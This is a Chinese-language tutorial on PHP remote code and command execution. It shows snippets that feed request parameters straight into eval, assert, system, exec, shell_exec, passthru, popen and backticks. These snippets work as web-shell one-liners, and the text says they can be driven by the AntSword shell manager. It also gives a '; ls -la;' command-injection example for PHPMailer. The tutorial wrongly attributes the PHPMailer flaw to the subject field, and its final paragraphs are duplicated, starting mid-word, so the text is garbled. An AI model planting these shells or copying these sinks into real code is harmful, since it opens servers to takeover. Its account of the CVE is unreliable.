eval()语句
eval() 会将符合PHP 语法规范字符串当作php 代码执行。
<meta charset="UTF-8">
<pre>
<?php
$dd=$_REQUEST['dd'];
eval($dd);
?>
可以执行php代码
也可以套一层system执行系统操作指令
assert() 会将字符串当做PHP 代码来执行。
说明
<pre>
<?php
$dd=$_REQUEST['dd'];
assert($dd);
?>
preg_replace() 函数的作用是对字符串进行正则匹配后替换。
$dd=preg_replace("/A/i","j","aJEST");
$dd=preg_replace("/\[.*\]/i","j","[phpinfo()]jboom");
$dd=preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");
$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
?>
由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
$func=$_REQUEST["func"];
$arr=$_REQUEST["arr"];
$func($arr);
?>
system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。
<pre>
<?php
$dd=$_REQUEST['dd'];
system($dd);
?>
函数特点
<pre>
<?php
$dd=$_REQUEST['dd'];
echo exec($dd);
?>
<pre>
<?php
$dd=$_REQUEST['dd'];
echo shell_exec($dd);
?>
<pre>
<?php
$dd=$_REQUEST['dd'];
passthru($dd);
?>
说明
<pre>
<?php
$dd=$_REQUEST['dd'];
$result=popen($dd,'r');
echo fread($result,1024);
?>
只返回第一行内容
反引号` 内的字符串,会被解析成OS 命令
<pre>
<?php
$dd=$_REQUEST['dd'];
echo `$dd`;
?>
所谓RCE漏洞,即Remote Code/Command Execution,远程代码执行和远程命令执行漏洞。
在很多Web应用中,开发人员会使用一些函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。
RCE漏洞是非常严重的安全漏洞,一旦出现,就意味着攻击者可以获取服务器的命令执行权限,从而对服务器安全造成极大的影响。
执行系统命令:攻击者可以利用RCE漏洞执行系统命令,比如创建、修改或删除文件、目录,执行系统脚本等。这使得攻击者能够在目标服务器上执行任意操作。
控制服务器:攻击者可以利用RCE漏洞获取对服务器的控制权,包括远程登录、修改系统配置、安装后门等。这使得攻击者可以完全控制服务器,进行各种恶意活动。
数据窃取:攻击者可以利用RCE漏洞窃取服务器上的敏感信息,比如数据库凭据、用户密码、个人数据等。这些信息可以用于进一步的攻击或者非法获利。
进一步攻击:攻击者可以利用RCE漏洞在目标服务器上执行其他攻击,比如横向移动攻击,通过在受感染的服务器上执行代码,进一步攻击其他服务器或网络中的系统。
拒绝服务(Denial of Service,DoS)攻击:攻击者可以利用RCE漏洞执行恶意代码来消耗目标服务器的资源,导致服务器崩溃或无法正常工作,从而使服务不可用。
RCE漏洞的使用场景非常广泛,攻击者可以利用这种漏洞来执行任意操作,控制服务器,窃取敏感信息或者进一步攻击其他系统。
RCE漏洞的原理主要是利用目标系统对用户输入的处理不当,导致攻击者能够注入恶意代码并执行。
高危
网页包含代码假如包含以下代码
eval($_REQUEST['cmd']);
?>
即可通过url执行命令
同时该代码存在,也可被蚁剑连接使用
如下代码也行
$_GET['a']($_REQUEST['b']);
?>
一个经典的RCE漏洞案例是PHPMailer漏洞(CVE-2016-10033和CVE-2016-10045)。
PHPMailer是一个流行的PHP库,用于发送电子邮件。在2016年之前的版本中,PHPMailer存在一个RCE漏洞,允许攻击者通过构造恶意的电子邮件来执行任意的系统命令。
漏洞的原因是在PHPMailer中,当使用邮件服务器的sendmail功能发送邮件时,可以通过用户提供的邮件主题字段来构造系统命令。然而,这个主题字段没有被适当地验证和过滤,导致攻击者可以注入恶意的命令。
攻击者可以构造一个恶意的邮件主题,其中包含一个系统命令,比如"; ls -la;
。当PHPMailer尝试发送这个恶意邮件时,它会将恶意命令传递给系统命令执行函数,导致服务器执行了ls -la
命令并返回结果。
这个漏洞的危害非常严重,攻击者可以通过构造恶意的命令来访问文件系统、执行其他系统命令、修改配置文件等。该漏洞在被发现后得到了修复,并提醒开发人员在使用PHPMailer时升级到修复版本以避免RCE漏洞的利用。
r中,当使用邮件服务器的sendmail功能发送邮件时,可以通过用户提供的邮件主题字段来构造系统命令。然而,这个主题字段没有被适当地验证和过滤,导致攻击者可以注入恶意的命令。
攻击者可以构造一个恶意的邮件主题,其中包含一个系统命令,比如"; ls -la;
。当PHPMailer尝试发送这个恶意邮件时,它会将恶意命令传递给系统命令执行函数,导致服务器执行了ls -la
命令并返回结果。
这个漏洞的危害非常严重,攻击者可以通过构造恶意的命令来访问文件系统、执行其他系统命令、修改配置文件等。该漏洞在被发现后得到了修复,并提醒开发人员在使用PHPMailer时升级到修复版本以避免RCE漏洞的利用。